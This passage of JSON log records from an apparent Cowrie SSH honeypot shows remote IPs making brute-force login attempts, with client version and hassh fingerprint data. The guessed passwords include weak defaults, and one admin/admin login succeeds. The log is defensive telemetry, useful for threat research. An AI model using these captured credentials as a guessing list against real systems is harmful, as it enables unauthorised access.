f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:48:38.767470Z","src_ip":"144.91.86.102","session":"1a43408cc3bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nick","message":"login attempt [root/nick] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:48:39.169600Z","src_ip":"144.91.86.102","session":"1a43408cc3bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:48:40.265410Z","src_ip":"144.91.86.102","session":"1a43408cc3bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.95.194.51","src_port":59790,"dst_ip":"159.203.135.109","dst_port":22,"session":"3d7e72c24108","protocol":"ssh","message":"New connection: 36.95.194.51:59790 (159.203.135.109:22) [session: 3d7e72c24108]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:48:40.365841Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:48:40.370031Z","src_ip":"36.95.194.51","session":"3d7e72c24108","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:48:40.656562Z","src_ip":"36.95.194.51","session":"3d7e72c24108","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pwd@123456","message":"login attempt [root/pwd@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:48:41.836715Z","src_ip":"36.95.194.51","session":"3d7e72c24108","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:48:43.126758Z","src_ip":"36.95.194.51","session":"3d7e72c24108","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.108.174.4","src_port":52028,"dst_ip":"159.203.135.109","dst_port":22,"session":"a1e5e50db175","protocol":"ssh","message":"New connection: 200.108.174.4:52028 (159.203.135.109:22) [session: a1e5e50db175]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:49:04.927688Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:49:04.933389Z","src_ip":"200.108.174.4","session":"a1e5e50db175","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:49:05.086804Z","src_ip":"200.108.174.4","session":"a1e5e50db175","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"stupid","message":"login attempt [root/stupid] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:49:05.733485Z","src_ip":"200.108.174.4","session":"a1e5e50db175","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.165.56.242","src_port":53668,"dst_ip":"159.203.135.109","dst_port":22,"session":"51b08fdb387e","protocol":"ssh","message":"New connection: 46.165.56.242:53668 (159.203.135.109:22) [session: 51b08fdb387e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:49:06.704954Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:49:06.710368Z","src_ip":"46.165.56.242","session":"51b08fdb387e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:49:06.872840Z","src_ip":"46.165.56.242","session":"51b08fdb387e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:49:06.888847Z","src_ip":"200.108.174.4","session":"a1e5e50db175","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.236.241","src_port":56848,"dst_ip":"10.17.0.5","dst_port":22,"session":"569c658f0a5b","protocol":"ssh","message":"New connection: 165.154.236.241:56848 (10.17.0.5:22) [session: 569c658f0a5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:49:07.256923Z"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:49:07.470776Z","src_ip":"165.154.236.241","session":"569c658f0a5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ydc","message":"login attempt [root/ydc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:49:07.530605Z","src_ip":"46.165.56.242","session":"51b08fdb387e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.236.241","src_port":60440,"dst_ip":"10.17.0.5","dst_port":22,"session":"00d97f9a49db","protocol":"ssh","message":"New connection: 165.154.236.241:60440 (10.17.0.5:22) [session: 00d97f9a49db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:49:07.738839Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-JSCH-0.1.51","message":"Remote SSH version: SSH-2.0-JSCH-0.1.51","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:49:07.744017Z","src_ip":"165.154.236.241","session":"00d97f9a49db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"069fb483253fc12ecaf3731bac1ae020","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha1;aes128-ctr,aes128-cbc,3des-ctr,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc;hmac-md5,hmac-sha1,hmac-sha2-256,hmac-sha1-96,hmac-md5-96;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes128-cbc","3des-ctr","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-md5","hmac-sha1","hmac-sha2-256","hmac-sha1-96","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 069fb483253fc12ecaf3731bac1ae020","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:49:08.009144Z","src_ip":"165.154.236.241","session":"00d97f9a49db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:49:08.688981Z","src_ip":"46.165.56.242","session":"51b08fdb387e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:49:08.745651Z","src_ip":"165.154.236.241","session":"00d97f9a49db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:49:13.872101Z","src_ip":"165.154.236.241","session":"00d97f9a49db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"220.154.131.255","src_port":50480,"dst_ip":"10.17.0.5","dst_port":22,"session":"2190ca964370","protocol":"ssh","message":"New connection: 220.154.131.255:50480 (10.17.0.5:22) [session: 2190ca964370]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:49:27.694126Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:49:27.699267Z","src_ip":"220.154.131.255","session":"2190ca964370","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:49:27.951701Z","src_ip":"220.154.131.255","session":"2190ca964370","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lesia","message":"login attempt [root/lesia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:49:28.992737Z","src_ip":"220.154.131.255","session":"2190ca964370","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.99.80.102","src_port":40708,"dst_ip":"159.203.135.109","dst_port":22,"session":"9cf8f15270f0","protocol":"ssh","message":"New connection: 138.99.80.102:40708 (159.203.135.109:22) [session: 9cf8f15270f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:49:57.137493Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:49:57.142556Z","src_ip":"138.99.80.102","session":"9cf8f15270f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:49:57.251339Z","src_ip":"138.99.80.102","session":"9cf8f15270f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"deepspeed","message":"login attempt [root/deepspeed] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:49:57.717174Z","src_ip":"138.99.80.102","session":"9cf8f15270f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:49:58.830007Z","src_ip":"138.99.80.102","session":"9cf8f15270f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.165.56.242","src_port":50558,"dst_ip":"159.203.135.109","dst_port":22,"session":"1dcc158787b9","protocol":"ssh","message":"New connection: 46.165.56.242:50558 (159.203.135.109:22) [session: 1dcc158787b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:50:10.631779Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:50:10.636452Z","src_ip":"46.165.56.242","session":"1dcc158787b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:50:10.793370Z","src_ip":"46.165.56.242","session":"1dcc158787b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"toor1","message":"login attempt [root/toor1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:50:11.532872Z","src_ip":"46.165.56.242","session":"1dcc158787b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:50:12.692366Z","src_ip":"46.165.56.242","session":"1dcc158787b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.95.194.51","src_port":41764,"dst_ip":"159.203.135.109","dst_port":22,"session":"d149f7e96b8e","protocol":"ssh","message":"New connection: 36.95.194.51:41764 (159.203.135.109:22) [session: d149f7e96b8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:50:17.728090Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:50:17.733825Z","src_ip":"36.95.194.51","session":"d149f7e96b8e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:50:18.028687Z","src_ip":"36.95.194.51","session":"d149f7e96b8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dbus-helper","password":"warnight","message":"login attempt [dbus-helper/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:50:19.244015Z","src_ip":"36.95.194.51","session":"d149f7e96b8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.86.102","src_port":42212,"dst_ip":"10.17.0.5","dst_port":22,"session":"ccb9aa6cf0f9","protocol":"ssh","message":"New connection: 144.91.86.102:42212 (10.17.0.5:22) [session: ccb9aa6cf0f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:50:20.053176Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:50:20.058836Z","src_ip":"144.91.86.102","session":"ccb9aa6cf0f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH